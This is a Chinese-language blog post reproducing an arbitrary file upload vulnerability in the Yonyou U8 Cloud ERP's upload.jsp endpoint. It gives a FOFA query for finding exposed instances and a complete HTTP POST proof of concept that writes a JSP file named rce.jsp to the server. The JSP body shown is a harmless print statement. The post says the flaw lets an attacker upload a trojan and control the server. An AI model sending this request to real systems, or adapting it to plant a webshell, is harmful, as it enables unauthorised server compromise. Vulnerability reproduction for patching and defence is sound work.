用友 U8 Cloud upload.jsp 文件上传漏洞复现

最新推荐文章于 2024-05-07 17:32:50 发布

0xSecl

最新推荐文章于 2024-05-07 17:32:50 发布

阅读量1.1k

点赞数 12

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134958457

漏洞复现v1 专栏收录该内容

996 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了用友U8 Cloud的upload.jsp文件上传漏洞，该漏洞可能导致远程服务器被攻击者控制。文章详细阐述了漏洞概述、复现环境及复现过程，并给出了初步的修复建议，包括关注厂商更新和设置访问策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

用友U8 Cloud 提供企业级云ERP整体解决方案，全面支持多组织业务协同，实现企业互联网资源连接。 U8 Cloud 亦是亚太地区成长型企业最广泛采用的云解决方案。

0x02 漏洞概述

用友U8 Cloud upload.jsp接口存在任意文件上传漏洞，攻击者可通过该漏洞上传木马，远程控制服务器。

0x03 复现环境

FOFA：app="用友-U8-Cloud"

0x04 漏洞复现

PoC

POST /linux/pages/upload.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
filename: rce.jsp

<% out.println("Hello,U8C");%>

了解本专栏